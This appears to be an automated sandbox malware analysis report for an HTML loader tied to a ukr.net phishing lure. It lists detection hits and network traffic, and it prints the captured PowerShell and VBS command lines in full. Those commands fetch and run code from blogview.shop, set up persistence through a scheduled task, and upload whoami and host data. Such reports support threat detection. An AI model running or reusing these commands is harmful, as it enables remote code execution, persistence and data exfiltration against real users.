h0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\Public\Libraries\Libraries.vbs" , CommandLine: C:\Windows\System32\WScript.exe "C:\Users\Public\Libraries\Libraries.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1068, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\Public\Libraries\Libraries.vbs" , ProcessId: 6488, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}, CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\Public\Libraries\Libraries.vbs" , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6488, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: g3Wg5cdIcT.html

ReversingLabs: Detection: 13%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\jq2oycxc.wmp\748-929-24.html.lnk	Joe Sandbox ML: detected
Source: C:\Users\user\Downloads\c4304711-3ea8-4580-ab60-ae16aaf251fc.tmp	Joe Sandbox ML: detected

Phishing

Detected javascript redirector / loader

Source: g3Wg5cdIcT.html

HTTP Parser: Low number of body elements: 0

HTML page contains base64 encoded files

Source: g3Wg5cdIcT.html

HTTP Parser: Base64: UEsDBBQACAAIAM6oSFkA...AQABAGEAAADrBQAAAAA= decoded: PK..........HY...........f.@..O....i.`..W..

Suspicious Javascript code found in HTML file

Source: g3Wg5cdIcT.html	HTTP Parser: new blob(
Source: g3Wg5cdIcT.html	HTTP Parser: url.createobjecturl
Source: g3Wg5cdIcT.html	HTTP Parser: location.href
Source: g3Wg5cdIcT.html	HTTP Parser: .location
Source: g3Wg5cdIcT.html	HTTP Parser: .location

Source: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb

HTTP Parser: Title: @ ukr.net - does not match URL

Source: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb

HTTP Parser: <input type="password" .../> found

Source: g3Wg5cdIcT.html

HTTP Parser: No favicon

Source: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb	HTTP Parser: No <meta name="author".. found
Source: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb	HTTP Parser: No <meta name="author".. found

Source: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb	HTTP Parser: No <meta name="copyright".. found
Source: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9Epb	HTTP Parser: No <meta name="copyright".. found

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:50030 version: TLS 1.2

Source:	Binary string: *e.pdb4 source: powershell.exe, 0000000F.00000002.2880995377.00000289B459B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.2187482903.0000000008985000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.2179040393.0000000007AB3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000000F.00000002.2880995377.00000289B459B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lambda_methodCore.pdbT;.C source: powershell.exe, 0000000F.00000002.2934104900.00000289CCDAB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.pdb source: powershell.exe, 0000000F.00000002.2880995377.00000289B45CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 0000000F.00000002.2934104900.00000289CCD70000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Source: C:\Windows\System32\wscript.exe	Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.60

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: edisk.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login?client_id=UqGeSNzaWtOnSS6i9Epb&action=login_client HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login?client_id=UqGeSNzaWtOnSS6i9Epb HTTP/1.1Host: accounts.ukr.netConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/css/bundle.css?3eae8d99 HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/google-play-badge-8c42ddbd.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/app-store-badge-83fca98c.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/js/bundle.js?949e9a20 HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/file-20d110f0.svg HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: imageReferer: https://accounts.ukr.net/login?client_id=UqGeSNzaWtOnSS6i9EpbAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/inter-medium-latin-beJWZ28Q.woff2 HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://accounts.ukr.netsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://accounts.ukr.net/login/css/bundle.css?3eae8d99Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/inter-bold-cyrillic-cOEmsfFa.woff2 HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://accounts.ukr.netsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://accounts.ukr.net/login/css/bundle.css?3eae8d99Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/inter-regular-latin-4X1OBjWa.woff2 HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://accounts.ukr.netsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://accounts.ukr.net/login/css/bundle.css?3eae8d99Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/inter-semi-bold-cyrillic-TYsCInMJ.woff2 HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://accounts.ukr.netsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://accounts.ukr.net/login/css/bundle.css?3eae8d99Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login/assets/inter-medium-cyrillic-rEpTbtr3.woff2 HTTP/1.1Host: accounts.ukr.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://accounts.ukr.netsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://accounts.ukr.net/login/css/bundle.css?3eae8d99Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
